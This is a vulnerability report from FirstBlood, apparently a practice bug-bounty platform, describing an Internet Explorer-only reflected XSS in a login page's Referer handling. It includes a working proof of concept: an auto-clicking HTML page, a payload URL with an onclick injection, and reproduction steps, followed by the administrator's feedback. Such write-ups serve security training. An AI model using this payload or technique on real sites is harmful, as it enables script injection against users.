FirstBlood-#596 — IE-only Reflected XSS
This issue was discovered on FirstBlood v2

On 2021-10-26, r0x61tremy Level 3 reported:

Steps for reproduce

  1. Start the server on the localhost.

  1. Create an html file (example evil_site.html) with the following contents: 
    <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="referrer" content="unsafe-url"/>
<title></title>
</head>
<body>
<a id=1 href="https://6e90100d97de-r0x61tremy.a.firstbloodhackers.com/login.php"></a>
    <script type="text/javascript">
        document.getElementById(1).click(); 
    </script>
</body>
</html>
  2. Save the file in the directory on localhost.
  3. In the Internet Explorer browser, follow the link ```http://localhost/evil_site.html?asd='/onclick=alert(document.domain)/'
  4. You will be redirected to the page https://6e90100d97de-r0x61tremy.a.firstbloodhackers.com/login.php.
  5. Click Return to previous page. You will see the alert box with document.domain.

P.S. This vulnerability only works in the IE browser

P3 Medium

Endpoint: /login.php

Parameter: href

Payload: '/onclick=alert()/'

FirstBlood ID: 19
Vulnerability Type: Reflective XSS

The parameter ?ref= on login.php was fixed and instead the use of $_SERVER['HTTP_REFERER']; was used. Patrice tested in Chrome and Firefox and saw it was secure, but some users still use Internet Explorer 10 (governments for example!) and the Referer header is vulnerable to reflective XSS.

Report Feedback

@zseano

Creator & Administrator

Nice find, thanks for providing a working PoC and mentioning it only works on IE. Some users reported that the referrer was vulnerable but the payload provided wouldn't work, and no mention of browser. Great work